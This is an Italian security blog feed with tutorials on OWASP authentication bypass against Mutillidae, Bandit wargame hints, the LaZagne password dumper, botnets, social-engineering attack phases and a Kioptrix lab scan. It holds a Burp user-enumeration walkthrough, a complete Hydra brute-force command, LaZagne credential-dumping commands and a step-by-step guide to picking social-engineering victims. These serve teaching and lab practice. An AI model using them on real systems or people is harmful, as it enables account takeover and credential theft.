Quantcast
Channel: Mr. Touch – HackTips
Viewing all 123 articles
Browse latest View live

OWASP Top 10 – A2 Eludere l’autenticazione e gestione della sessione

$
0
0

L’Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.

Dopo aver introdotto e spiegato l’Injection, eccoci con un nuovo articolo, stavolta su come eludere l’autenticazione e sulla gestione della sessione di login.

A2 Eludere l’autenticazione e gestione della sessione

introa2Hijacking

Uno dei controlli di sicurezza maggiori da effettuare quando si crea, progetta e programma un’applicazione è il login. Quanto potrebbe essere valido un sito se è possibile loggarsi con un qualsiasi account e sfruttare l’identità di altre persone? Pensate anche solo ad un servizio come Amazon; e se fosse possibile autenticarsi con l’account di un altra persona utilizzando i suoi dati della carta di credito?

In questo articolo verranno introdotte alcune tecniche per bypassare l’autenticazione ad applicazioni web, e come è possibile autenticarsi senza conoscere o avere i dati effettivi di login.

Enumerazione degli utenti

Già in passato avevo introdotto l’Enumerazione, questa tecnica consiste nel trovare informazioni sugli utenti e dei servizi di un sistema. In questo caso cercheremo di trovare gli utenti registrati al sito, in modo da poter successivamente tentare un attacco di forza bruta ed entrare in un account senza conoscerne la password. Utilizzerò Burp Suite, in modo da rendere automatico il processo.

Per prima cosa, guardo la sorgente della pagina di login e noto che è presente uno script in cui è presente la variabile lAuthenticationAttemptResultFlag che permette al client di capire se un utente esiste o meno. Grazie a questa variabile possiammo effettuare l’operazione. Se la variabile è 0, l’account non esiste, altrimenti (se è 1) l’account esiste.

lAuthenticationAttemptResultFlag

Apro Burp Suite, imposto il browser e apro la pagina di login di Mutillidae.  Dopo che Burp Suite ha caricato correttamente la richiesta la invio all’Intruder, il quale ci permetterà di effettuare l’attacco

proxyburp
Richiesta di login tramite Burp

Nell’Intruder evidenzio solo l’username per effettuare l’enumerazione

intruder

Seleziono la lista di nomi utenti da provare nel tab Payload, ed infine imposto il Grep Match nelle opzioni. Quest’ultima operazione ci permetterà di capire se un utente esiste o meno, poiché il browser risponderà con un TRUE se l’account esiste, FALSE altrimenti. Per impostarla basta copiare la variabile trovata prima e incollarla nell’apposito spazio.

grepmatch1

Fatto ciò, clicco su Intruder->Start Attack e il software inizia ad eseguire l’operazione. Dopo pochi minuti, terminata l’operazione, noto subito gli account esistenti, i quali hanno la spunta sulla variabile impostata precedentemente

logintrue

Ora, avendo trovato un account di nome admin, proverò a trovare la password dello stesso.

Bruteforce

Il metodo Forza Bruta è uno degli attacchi più famosi e conosciuti. Esso consiste nel provare tutte le combinazioni possibili fino a che non si trova quella corretta (l’avevo usato anche per trovare i dati di login del router). Esistono diversi software per effettuare questa tecnica, io utilizzerò  Hydra.

Hydra è uno dei migliori tools per effettuare tecniche di forza bruta contro molti protocolli (HTTP, SSH, FTP, MYSQL, etc.). Per visualizzare le opzioni basta digitare, come al solito

hydra -h

hydrahelp1

L’utilizzo è abbastanza semplice, specialmente con protocolli come ssh, telnet o http-get. Nel nostro caso, Mutillidae utilizza il metodo HTTP-POST, cosa che rende un attimo le cose più complesse, ma nulla di eccezionale (per chi non sapesse la differenza post vs get, può leggere qui). La pagina che Mutillidae ci presenta è questa

mutilogin1

Provando manualmente con un paio di account, si nota subito che ci avvisa se l’account non esiste, o la password è sbagliata. In questo modo possiamo focalizzarci con il nome di un solo account, piuttosto che provare molti nomi.

accountciao

accountadmin1

Il comando di hydra che andrò ad utilizzare è

hydra -l admin -P psw/wordlists-user-passwd/passwds/johnpassword.lst 127.0.0.1 http-post-form "/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In" -V

dove:

  • -l indica il nome dell’account da utilizzare. Se non l’avessi saputo avrei utilizzato -L con una lista di nomi da testare;
  • -P si riferisce al file contenente le password (preso – come sempre – da questa lista);
  • 127.0.0.1 è l’indirizzo da attaccare;
  • http-post-form è il “protocollo” utilizzato. Se fosse stato un get, avrei utilizzato http-get-form. Nell’help di prima sono comunque elencati tutti;
  • “/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In” si riferisce all’indirizzo da attaccare. Spiegandolo con più precisione:
    1. /index.php?page=login.php è la pagina in cui siamo, si trova nella barra degli indirizzi;
    2. username=^USER^&password=^PASS^ sono i dati che il sito invia al server per autenticarsi. Per sapere come si chiamano, è possibile analizzare la pagina vedendo la sorgente (tasto destro nel browser->vedi sorgente) oppure con un plugin come Web-Developer. Io ho utilizzato quest’ultimo, il quale evidenzia i nomi dei form in questo modo
      webdevform
      Si può notare l’utilizzo di username e password per i due rispettivi campi
    3. login-php-submit-button=Login:Not Logged In, come sopra, è il nome del “pulsante” Login (l’ultima riga in rosso della precedente immagine).

     

  • -V opzione che permette di visualizzare tutti i tentativi che il software effettuerà.

Dopo aver lanciato il comando, aspetto pochi minuti, ed ecco che ha trovato la password dell’account.

hydra bruteforce

N.B. Come al solito questo procedimento è illegale, e qualsiasi sysadmin di un sito si accorge di un eventuale attacco di questo tipo. Vengono fatte richieste multiple, a volte migliaia nel corso di pochi minuti. Hydra permette l’utilizzo di un proxy (come tor).

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Rubrica Wargame: Imparare ad utilizzare il terminale con Bandit [Livello 1-13]

$
0
0

Con questo articolo inizia un’altra rubrica del blog! Ho pensato di farlo sugli Wargame poiché possono essere un’ottimo punto di partenza per chiunque voglia iniziare ad entrare nel campo della sicurezza informatica. Le soluzioni saranno sotto spoiler, e prima di controllarle, consiglio vivamente di provare, cercare sui motori di ricerca e documentarsi in modo da poter imparare autonomamente.

Il gioco che introdurrò e spiegherò livello per livello sarà Bandit. Esso è uno dei giochi più semplici in circolazione, adatto soprattutto a chi abbia poca capacità con il terminale e voglia capire come potersi destreggiare in esso.

Livello 0

In questo livello l’obbiettivo è quello di collegarsi tramite SSH al loro server. Il comando permetterà di creare una sessione remota cifrata al server e poter leggere (o scrivere) i file al suo interno.

Soluzione 0

Livello 1

Anche qui il livello è davvero basilare, la richiesta è quella di leggere il file readme da terminale e utilizzare la password per collegarsi al livello successivo.

Soluzione 1
Mi connetto quindi all’account bandit1 con la password trovata.

Livello 2

Come prima, bisogna leggere il file contenente la password, ma stavolta il file ha un nome particolare. Se non sapete come fare, una ricerca potrebbe aiutarvi.

Soluzione 2

E mi connetto all’account bandit2 con la password trovata.

Livello 3

Il file da leggere ora contiene degli spazi, e contiene come al solito le credenziali per accedere al livello successivo.

Soluzione 3

Passo al livello successivo con l’account bandit3.

Livello 4

La password è ora in un file nascosto, quindi digitando

ls

non vediamo nulla. Ma in linux, i file nascosti come sono nominati?

Soluzione 4

Passo al prossimo livello con l’account bandit4.

Livello 5

Ora ci sono 10 file, in uno dei quali è presente la password. La tecnica per aprirli è la stessa del livello 2, posso decidere se aprirli uno alla volta o con un unico comando.

Soluzione 5

Livello 6

Con questo livello si inizia ad aumentare la difficoltà. La richiesta è la solita, trova il file con la password. Ma stavolta ci sono più di venti cartelle con altrettanti file, nei quali alcuni sono leggibili altri no; in sostanza non possiamo leggerli tutti, la password non la troveremo. Gli indizi datoci sono che:

Ci possono venire incontro diversi comandi, a partire da find, du e ls.

Soluzione 6

Livello 7

Il file si trova ora da qualche parte sul server, è grande 33 bytes, di proprietà del gruppo bandit6  e dell’utente bandit7. Il comando find in questo caso è decisamente ciò che fa per noi.

Soluzione 7

Livello 8

Dopo averci introdotto all’utilizzo del comando find ora passiamo ad altri comandi, come grep e sort. La password si trova dopo la parola millionth nel file data.txt. Non so voi, ma qualche porcone mi è partito aprendo il file utilizzanto cat. Certo, si può imbrogliare e cercare direttamente dal terminale, ma provate ad utilizzare uno dei due comandi suggeriti qui sopra!

Soluzione 8

Livello 9

Devo ammettere che questa non la sapevo, ho dovuto leggermi i manuali dei comandi. La richiesta è abbastanza semplice, la password si trova nella linea di testo che viene ripetuta solo una volta, quindi unica. Consiglio sort unito al comando uniq.

Soluzione 9

Livello 10

La richiesta è simile a quella precedente, ma stavolta il file contiene pochi caratteri ASCII e se viene utilizzato il comando precedente non si trova la stringa. L’unico indizio che abbiamo è che davanti a sè ha una serie di “=”.

Soluzione 10

Livello 11

Sempre un file contenente la password, ma stavolta è codificate in base64. Si può fare manualmente (ma non sarebbe la via giusta), oppure con un comando su linux.

Soluzione 11

Livello 12

Nel file data c’è una stringa, ma tutti i caratteri minuscoli e maiuscoli sono stati sostuiti con quelli posti 13 posizioni più avanti nell’alfabeto (secondo quindi il cifrario alfabetico ROTR13). Per chi non avesse idea di dove iniziare, consiglio il comando tr, e se proprio non riuscite, la pagina ROTR13 in inglese.

Soluzione 12

Livello 13

Ed eccoci a metà del gioco! Per chiunque conosca i semplici comandi di linux fino a qui può esser stato decisamente semplice..vediamo come ve la cavate con i prossimi livelli!

La richiesta è ora decisamente più ostica rispetto alle precedenti. Nel file data.txt è presente un dump esadecimale, compresso più volte. Il sito consiglia (e come lui, anche io) di creare una cartella in /tmp/vostronome e copiare il file data.txt li dentro. I comandi per questo sono:

bandit12@melinda:~$ mkdir /tmp/hacktips
bandit12@melinda:~$ cp data.txt /tmp/hacktips
bandit12@melinda:~$ cd /tmp/hacktips

Per risolvere l’enigma, consiglio di partire da questa ricerca e utilizzare molto il comando file, il quale ci permetterà di capire con che tipo di file abbiamo a che fare. I passi in questo livello saranno molti e piuttosto ripetitivi.

Soluzione 13
Questo livello era decisamente macchinoso, ma tutto sommato il gioco calza davvero alla perfezione per chiunque voglia imparare linux e i comandi base. Nei prossimi livelli il livello di difficoltà aumenterà, per cui ho deciso di dividere la rubrica in due (invece che fare più pagine, come avevo pensato inizialmente). Tra pochi giorni pubblicherò il seguito!
Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Trovare le password salvate in Linux e Windows

$
0
0

Recentemente, è uscito un ottimo programma per trovare le password del vostro sistema, avendo sia un livello di accesso come utente semplice sia come amministratore.

descrizione

Il software in oggetto si chiama LaZagne, ed è possibile trovarlo sia per Windows che per Linux.

Sorprendentemente, riesce a trovare tutte le password salvate sul proprio sistema, tra le quali:

  • Filezilla;
  • Chrome, Firefox, Opera e IE (a meno che non sia presente una password di protezione);
  • Skype;
  • reti Wireless (servono i permessi di root);
  • e molte altre..

Il funzionamento è molto semplice, nel terminale basta digitare:

 ./LaZagne-32bits

Se invece si ha un sistema Windows

laZagne.exe

Il software stampa l’output di aiuto, i moduli sono diversi, sta a noi la scelta. Se invece si volesse provarli tutti, basta inserire l’opzione all.

Esempio pratico Linux

pswlinux

Se trovate un Hash, potete provare a trovare la password con John.

Esempio pratico Windows

Windowspsw1

Questo software ci ricorda perchè non bisogna mai salvare le password nei programmi sul proprio computer. Se queste non sono crittografate, e magari utilizzate sempre le stesse, come si può vedere ottenerle ci vuole davvero poco.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Cosa è una Botnet

$
0
0

Il termine Botnet deriva dalla parola roBOT NETwork, il quale fornisce già spiegazione abbastanza chiara di cosa possa essere. Essa è un’enorme rete formata da dispositivi informatici compromessi (infettati quindi da Malware) e collegati ad Internet, controllati da un unica entità, il botmaster. Una Botnet può avere sia scopi benevoli che malevoli, e può:

  • operare su una grande rete di computer da remoto;
  • scansionare automaticamente i dispositivi e le reti ad essi collegati;
  • creare attacchi DOS;
  • effettuare attacchi spam;
  • compromettere altri dispositivi.

Come viene creata

Per effettuare questo tipo di attacco, l’attaccante necessita prima di tutto di una macchina compromessa e infettata da utilizzare come zombie. Dopo aver impostato il bot, esso viene programmato per cercare altri dispositivi vulnerabili, infettarli a loro volta e creando cosi una larga rete di macchine compromesse.

botnetpropagation

L’attaccante configura un centro C&C (comanda e controlla) forzando i vari host a connettersi e ad aspettare istruzioni. Tramite quel centro è ora possibile comandarle contemporaneamente, lanciare DOS o infettare altri dispositivi.

Esistono due tipi principali di botnet:

  1. Centralizzate: sono comandate da un unico C&C, il quale impartisce i comandi e le controlla in modo totale. Se il botmaster viene però rintracciato e reso innocuo, esse non svolgeranno più la loro funzione;
  2. Decentralizzate (tramite p2p): sono collegate tra di loro come una rete di pari ed ognuna impartisce ordini ai suoi nodi vicini. In questo modo se ne viene fermata una, le altre compiono comunque il loro lavoro.

botnetprop2

Per approfondire la divisione dei tipi di botnet (in base all’architettura e sistema di controllo), consiglio un ottimo articolo di voidsec. Un’altra risorsa per comprendere le basi delle Botnet è questo video.

Esistono diversi software per la creazione di esse, alcuni sono: (ricordo che l’utilizzo per fini illeciti è perseguibile penalmente)

  • Botnet Trojan Shark: è un software per il controllo di macchine Windows, bypassa certi firewall, tutto il traffico inviato è criptato e ha anche funzionalità di keylogging;
  • Poison Ivy: come sopra, potete trovare il link per il download e un laboratorio pratico a questo indirizzo.
  • PlugBot: è una Botnet Hardware, creato per un progetto di ricerca. Sito ufficiale.
  • Illusion Bot;
  • Netbot attacker.

Le Botnet sono uno principali rischi per la sicurezza in questi ulimi anni, poichè riescono a dare una potenza di calcolo e di banda a persone con fini non proprio legali. Rilevarle e metterle offline richiede una quantità di tempo ed energie spropositate, in quanto trovare una macchina infettata non implica necessariamente riuscire a risalire al botmaster (specialmete se le controllata da TOR, ad esempio).

Traffico di Dredix
Traffico di Dridex

Un team di sicurezza informatica è riuscita ad analizzare in buona parte la botnet Dridex e il traffico che genera (è tutt’ora attiva). Essa si propaga tramite allegati mail (mai aprirli senza prima averli analizzati), e si autoinvia ai contatti presenti nella rubrica della vittima. L’analisi, in inglese, è possibile trovarla a questo indirizzo (il video è davvero interessante). Un’altro video che consiglio, sono le attività maligne rilevate nel mese scorso in tutto il mondo, si può scaricare o vedere direttamente da qui.

Notizia fresca fresca durante la stesura dei quest’articolo è che la Botnet più grande del mondo è svanita, semplicemente scomparsa senza lasciar traccia di sè. Essa era stata distrutta nell’ottobre 2015, da una task force di NCA e FBI, ma in qualche modo era resuscitata e tornata al “lavoro”, diffondendo il ransomware Locky. Altri dettagli si possono trovare su securityaffairs e vice.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

L’arte di hackerare le persone: Ingegneria Sociale

$
0
0

Quale è la più grave minaccia alla sicurezza dei vostri beni al giorno d’oggi? È facile: l’ingegnere sociale, ossia colui che riesce a carpire informazioni senza che vi rendiate conto di essere sfruttati per azioni maligne.

ingegneriasociale

Un classico (e famoso) caso di attacco

Lavorava per una ditta che doveva approntare un sistema di back-up dei dati della sala nel caso in cui il computer centrale fosse saltato, perciò era informatissimo sulle procedure di trasferimento.
Gli impiegati di quell’ufficio, per evitare di memorizzare ogni giorno il nuovo codice, lo riportavano su un foglietto che appiccicavano in un punto visibile.
Arrivato nella sala prese nota delle procedure, in teoria perché il suo sistema di backup si ingranasse a puntino con quello normale, e nel frattempo ne approfittò per sbirciare il codice di sicurezza scritto sui foglietti e memorizzarlo.
Uscì qualche minuto dopo.
Quando uscì alle tre del pomeriggio puntò dritto verso la cabina del telefono, dove infilò la monetina e fece il numero della sala, poi si riciclò da Stanley Rifkin, consulente bancario, a Mike Hansen, dipendente dell’ufficio estero della banca.
Secondo una fonte affidabile, la conversazione andò più o meno così.
“Ciao, sono Mike Hansen dell’ufficio estero,” disse alla giovane che rispose.
Lei gli domandò il suo numero di interno.
Essendo informato della procedura standard, Stanley rispose subito: “286”.
“Bene, e il codice?”
Rispose imperturbabile: “4789”, poi diede istruzioni per trasferire “10.200.000 dollari esatti” tramite la Irving Trust Company di New York alla Wozchod Handels Bank di Zurigo dove aveva già aperto un conto.
Allora la giovane disse che andava bene, e che le serviva solo il numero di transazione tra un ufficio e l’altro.
Rifkin iniziò a sudare. Non aveva previsto quella domanda durante le sue ricerche, ma riuscì a non farsi travolgere dal panico, si comportò come se fosse tutto normale e rispose al volo: “Aspetta che controllo e ti richiamo subito”.
Dopodiché cambiò di nuovo personaggio per telefonare a un altro ufficio della banca, stavolta sostenendo di essere un impiegato della sala telex, ottenne il numero e richiamò la ragazza.
La quale lo ringraziò. Qualche giorno dopo Rifkin volò in Svizzera, prelevò i soldi e consegnò 8 milioni a un’agenzia russa in cambio di un sacchetto di diamanti, poi tornò in patria, passando attraverso la dogana con le pietre nascoste nella cintura portamonete. Aveva fatto la più grossa rapina in banca della storia, e senza pistole, addirittura senza computer.

Da L’arte dell’inganno di Kevin D. Mitnick.

L’ingegneria sociale può esser definita come l’arte di persuadere e convincere le persone a rivelare informazioni sensibili. Un’azienda può dotarsi di tutti i firewall più moderni e sicuri del mondo, ma se non istruisce i propri dipendenti sulle regole basilari di un qualsiasi attacco di ingegneria sociale, non potrà mai definirsi sicura.

Fasi di un attacco

  1. Cercare un’obiettivo: le aziende più vulnerabili sono quelle con un grande numero di dipendenti, con più sedi. In questo modo possiamo essere certi sul fatto che non possano conoscere ogni dipendente;
  2. Selezionare la vittima: il personale più sensibile sono le segretarie, gli amministratori di sistema (stando attenti che non conoscano questo tipo di attacco), i nuovi impegati che ancora non conoscono l’ambiente e farebbero di tutto per soddisfare un capo reparto (o il dipendente più anziano);
  3. Creare una relazione: dopo aver scelto la vittima (o le vittime) bisogna stabilire una relazione (meglio che sia telefonica ovviamente), un contatto. Ci si può fingere un collega, un nuovo assunto che chiede un mano, offrire un premio a chi si registra per primo ad un determinato sito. Non si può presentarsi chiedendo subito le informazioni sensibli, non sarebbe credibile a meno di non utilizzare gergo tecnico del caso specifico.
  4. Prendere le informazioni: una volta creato un senso di fiducia nella vittima, si può attaccare, chiedendo le informazioni sensibili che ci servono.

Tipi di attacco

Esistono 3 tecniche principali di ingegneria sociale classificate in base al mezzo utilizzato.

Ingegneria sociale umana

Il più classico attacco, come l’esempio riportato sopra. È la tecnica migliore, ma anche la più difficile. L’attaccante deve avere doti di improvvisazione, esser loquace e riuscire ad instaurare un rapporto di fiducia con uno sconosciuto, il quale non si fiderà immediatamente. Altri metodi possono essere:

  • intercettare le comunicazioni, ascoltare quindi telefonate personali, conversazioni tra amministratori di sistema, etc.;
  • Shoulder Surfing: tradotto letteralmente in “fare surf sulle spalle”, designa quell’attività di spiare la digitazione di una tastiera nell’intenzione di carpirne informazioni sensibili, come password o codici d’accesso;
  • Dumpster Diving: consiste nel cercare nella spazzatura dell’azienda o dell’obiettivo alla ricerca di informazioni utili.

Sono stati girati diversi film in cui l’argomento principale è l’ingegneria sociale, tra i quali The italian Job (remake di ‘Un colpo all’italiana’), Il genio della truffa, I signori della truffa, Il caso Thomas Crown, Prova a prendermi e Sei gradi di separazione.

Ingegneria sociale digitale

Si basa sull’utilizzo del computer. Viene utilizzata per inviare phishing, fake mail e finestre pop-up. Sicuramente ognuno di noi ha ricevuto almeno una volta nella propria casella mail una bella lettera da Paypal, in cui chiedono di cliccare un link e completare successivamente un form con i nostri dati (ad esempio quelli della carta di credito per intenderci). È purtroppo considerato una tecnica di ingegneria sociale, anche se lo vedo più come una truffa bella e buona ai danni di chi di computer se ne intende poco o niente. Un’altro esempio sono i classici pop-up (finestre del browser che si aprono automaticamente) in cui si viene avvisati che si hanno vinto un milione di euro, si è il milionesimo cliente, che siamo i prescelti, etc. etc. (per evitarle basta installare un buon adblocker).

1million
Classico esempio di finestra pop-up
Ingegneria sociale mobile

Negli ultimi tempi, gli smartphone sono diventati perennemente presenti nella vita di ogni persona. Ma in quanti si rendono conto dell’enorme potenzialità (e pericolosità) di essi? Con un SMS (e link in esso) è possibile installare un malware all’interno del dispositivo, con un app finta è possibile rubare tutti i dati del proprietario (mi viene in mente l’app che simula i fulmini su Google Play, chiede anche l’accesso alla fotocamera, scaricata da +500.000 persone). Per quanto riguarda Android, mai installare un’app senza averne verificato le fonti, il produttore dell’app e i commenti ad essa. Installare applicazione fuori dallo store ufficiale è possibile, ma bisogna verificarne sempre l’autenticità, rimpiazzare l’applicazione autentica con una falsa è semplicissimo e potrebbe rivelarsi fatale per i nostri dati.

repackandroid
Repacking di applicazioni Mobile (Immagine di ulsrl.org)

Conclusione

È presente un software (Social-Engineer Toolkit) che permette di effettuare alcune delle molteplici operazioni di ingegneria sociale basata sui computer. Sicuramente farò un articolo apposito, ma per chi vuole approfondire già da ora, lo consiglio vivamente (è solo per linux e mac). Per chi vuole approfondire l’argomento consiglio invece “L’arte dell’inganno” di Kevin Mitnick, di cui si trova facilmente il pdf online (ad esempio qui), e “Social Engineering: The art of human hacking”.

 

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Breve pausa

$
0
0


Per chi mi segue dai feed avrà notato un leggero calo di produzione degli articoli nell’ultimo mese, mese e mezzo. Ho purtroppo avuto diversi contrattempi che mi hanno fatto scalare diversi articoli pronti per essere scritti, e di conseguenza sono in un limbo di idee e con poco, troppo poco tempo per buttarle giù. Visto che per prima cosa cerco di avere qualità rispetto alla quantità, fare le corse per riprendere il ritmo lo reputo insensato.

Nelle prossime 2-3 settimane organizzerò e scriverò una serie di articoli che mi porteranno poi con calma a poter riprendere la velocità iniziale di pubblicazione che reputavo ottimale, invece che continuare come ora con un articolo a settimana.

In poco più di 3 mesi il sito ha avuto una notevole crescita di visite e interazioni, per cui ringrazio chiunque mi stia seguendo con interesse. Nel breve periodo conto di:

  • Finire il gioco Bandit e inziarne uno nuovo;
  • Iniziare una serie di articoli per poter analizzare applicazioni Android e trovare vulnerabilità in esse;
  • Continuare le serie OWASP, terminarla e (dopo averla controllata approfonditamente) rilasciare un PDF completo;
  • Analizzare in modo approfondito un keylogger, con esempio pratico di attacco.

Visto che siamo in fase di spoiler, pensavo (nel lungo periodo, quando saranno aumentate le visite e magari trovato collaboratori) di creare un forum in modo da poter offrire assistenza per gli articoli e qualsiasi altro argomento di sicurezza informatica, privacy o in ambito forense. Se nei commenti, o tramite il form di contatto, volete farmi sapere cosa vorreste vedere in futuro, cosa vi sta piacendo e cosa no, sarà un piacere per me rispondervi!

 

Non allontanatevi troppo che a breve si riparte!

0001010100101010110101010100

 

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Rubrica Wargame: Imparare ad utilizzare il terminale con Bandit [Livello 14-26]

$
0
0

Questo articolo è il seguito del precedente, che ho deciso di dividere per evitare di creare due pagine e far un post troppo lungo. Nei primi livelli si sono usati diversi comandi, tra i quali find, cat, sort, tr e molti altri. Nei prossimi il livello di difficoltà aumenterà gradualmente, ma cercherò di spiegare ogni passaggio il più approfonditamente possibile, in modo da esser chiaro per tutti.

 

La password del livello 13 era

8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Mi connetto ora all’account bandit13 del server

bandit.labs.overthewire.org

tramite ssh.

Livello 14

Dopo essermi connesso, vedo che è presente solo un file, il quale contiene un chiave privata.

lvl14

Per il prossimo livello, non serve una password, ma basta utilizzare questa chiave per connettersi all’utente bandit14.

Soluzione 14

Livello 15

Il suggerimento ora mostrato ci avvisa che la password può essere trovata inviando quella trovata precedentemente alla porta 30000 di localhost. Per poter effettuare questa operazione si può utilizzare Telnet. Esso è solitamente utilizzato per compiere sessioni di login da remoto tra diversi host connessi alla rete, che possono essere server o altri dispositivi di cui conosciamo le credenziali. Per chi non lo conoscesse, alcuni comandi base possono essere trovati a questo indirizzo.

Soluzione 15

Livello 16

Come il livello precedente, per trovare la password basta connettersi a localhost sulla porta 30001, ma stavolta utilizzando una connessione cifrata SSL. Invece che utilizzare telnet, utilizzeremo OpenSSL. Come prima, per chi non avesse conoscenze a riguardo, consiglio di dare una lettura a questo sito.

N.B. Se digitate il comando correttamente ma ricevete errore “HEARTBEATING” e “Read R BLOCK” utilizzate l’opzione -ign_eof

Soluzione 16

Livello 17

L’operazione da compiere ora è sempre la stessa, ma non ci viene detta la porta da utilizzare, solo il range compreso tra 31000 e 32000. Per chi avesse letto l’articolo su Nmap saprà sicuramente come fare a trovare quale tra le tante è aperta, altrimenti vi consiglio di leggerlo!

Soluzione 17

Livello 18

Questo livello è uno dei più semplici in tutto il gioco. Digitanto ls noto che sono presenti due file, passwords.old e passwords.new. Una delle stringhe che si differenziano tra i due file è la password che ci permette di connetterci al prossimo livello.

Soluzione 18
Il server ci risponderà con “ByeBye!” e si disconnetterà automaticamente ma questo è un problema da risolvere nel livello successivo.

Livello 19

La password è salvata nel file readme, ma è stato modificato il file .bashrc e non ci permette di fare il login.

È comunque possibile effettuare il comando cat insieme al log in, in modo che prima di effettuare il logout, stampi la password.

Soluzione 19

Livello 20

In questo livello la password è salvata nella posizione classica /etc/bandit_pass ma bisogna utilizzare il setuid presente nella home per ricevere i permessi. Per prima cosa proviamo ad eseguirlo senza nessun argomento

bandit19@melinda:~$ ./bandit20-do 
Run a command as another user.
  Example: ./bandit20-do id
Soluzione 20

Livello 21

Come prima, c’è un setuid nella cartella home. Utilizzando quel file dobbiamo creare una connessione su localhost con una porta specificata da noi. Dopo averla creata, inviamo la password al server e, se viene letta e riconosciuta, ci rimanderà indietro quella del prossimo livello. Cercherò di spiegarmi meglio con qualche indizio:

  • Bisogna aprire due terminali, ed effettuare i rispettivi login sull’accounto bandit20;
  • Da un terminale, con il software Netcat bisogna aprire una comunicazione interna sulla porta decisa da noi. Per capire come fare potete leggere il manuale, altrimenti questa pagina;
  • Dall’altro terminale utilizziamo il setuid per connetterci a quella porta;
  • Inviamo la password dal primo terminale, il secondo la leggerà e ritornerà la nuova password da utilizzare per il livello successivo.
Soluzione 20

Livello 22

Un programma è in esecuzione automatica a intervalli regolari da cron , ossia il job scheduler time-based . Bisogna cercare in /etc/cron.d/ e vedere che cosa fa il comando quando è in esecuzione.

Soluzione 22

Livello 23

Questo livello è praticamente uguale a quello di prima, cambia solamente lo script e ciò che dobbiamo digitare in quel punto. La cosa importante, ed è una regola generale, è di leggerlo attentamente, capire cosa fa e cosa sta facendo (ricordo che è in esecuzione, quindi non bisogna eseguirlo) e quali parametri richiede.

Soluzione 23

Livello 24

La difficoltà ora aumenta di poco, ed avremo la possibilità di creare uno script per poter ricevere la password, altrimenti nascosta. Come prima, bisogna andare nella cartella /etc/cron.d e leggere il solito file. Dalla lettura dello script e delle istruzioni in esso cercheremo di capire come creare il nostro programma e che tipo di operazioni dovremo effettuare.

Soluzione 24

Livello 25

Un programma sta ascoltando sulla porta 30002 e ci darà la password solo se gli invieremo la password dello scorso livello insieme a un codice segreto di 4 cifre. Non c’è modo di scoprirlo se non tentando tutte la combinazioni, quindi tramite bruteforce (forza bruta, ossia tentare tutte le combinazioni possibili). Per poterlo effettuare è necessario creare uno script che effettui al posto nostro tutte le combinazioni (o potete farlo a mano, anche se non ve lo consiglio..)

Soluzione 25

Livello 26

Questo livello penso sia uno dei più creativi che abbia mai visto. L’unico suggerimento che ci viene dato è che “La shell per l’utente bandit26 non è /bin/bash, ma qualcos’altro. Scopri di cosa si tratta, come funziona e come uscire da esso.”

Consiglio di provare a visualizzare il file delle password presente in /etc/passwd

Soluzione 26

 

Il livello 27 purtroppo ancora non esiste. Se mai uscirà, scrivere un articolo per gli aggiornamenti!

Conclusioni

Il gioco è concluso, e dopo 26 livelli spero che anche chi è alle prime armi sia riuscito in gran parte a finire i livelli in modo autonomo. In teoria, dopo questo gioco è consigliato (sempre sul sito overthewire) di continuare con Natas, Leviathan oppure Krypton. Non so se continuerò con questi livelli (ancora non ho deciso), preferirei introdurre altri siti e altri giochi sempre più diversificati e con diversi livelli di difficoltà. Se avete qualche dubbio non esitate a commentare!

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Imparare a sfruttare vulnerabilità: Kioptrix Livello 2

$
0
0

Dopo lo scorso articolo su Kioptrix, eccoci qui con il secondo livello! La macchina virtuale da scaricare è presente a questo indirizzo, mentre per l’installazione consiglio di guardare la guida del primo livello.

Per chiunque sia qui per la prima volta, consiglio oltre alla visione del livello 1, anche gli articoli sul Footprinting e sullo Scanning.

 

Scansione

Scansiono l’indirizzo IP locale della macchina virtuale con nmap e nikto, in modo da vedere quali porte sono aperte, e se c’è un modo per entrare e trovare la password del dispositivo (ricordo che non sto eseguendo una scansione anonima o stealth, ma utilizzo comandi abbastanza ‘invadenti’, i quali in una situazione reale potrebbero essere immediatamente scoperti).

Dopo aver trovato l’indirizzo IP locale della macchina (basta utilizzare il comando -sn di nmap) scansiono tutte le porte alla ricerca di quelle aperte

root@kali:~/Desktop# nmap -sTUV 192.168.1.104

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-30 13:27 CEST
Stats: 0:03:17 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 19.40% done; ETC: 13:43 (0:12:44 remaining)
Nmap scan report for 192.168.1.104
Host is up (0.049s latency).
Not shown: 1991 closed ports
PORT     STATE         SERVICE  VERSION
22/tcp   open          ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open          http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open          rpcbind  2 (RPC #100000)
443/tcp  open          ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open          ipp      CUPS 1.1
3306/tcp open          mysql    MySQL (unauthorized)
68/udp   open|filtered dhcpc
111/udp  open          rpcbind  2 (RPC #100000)
631/udp  open|filtered ipp
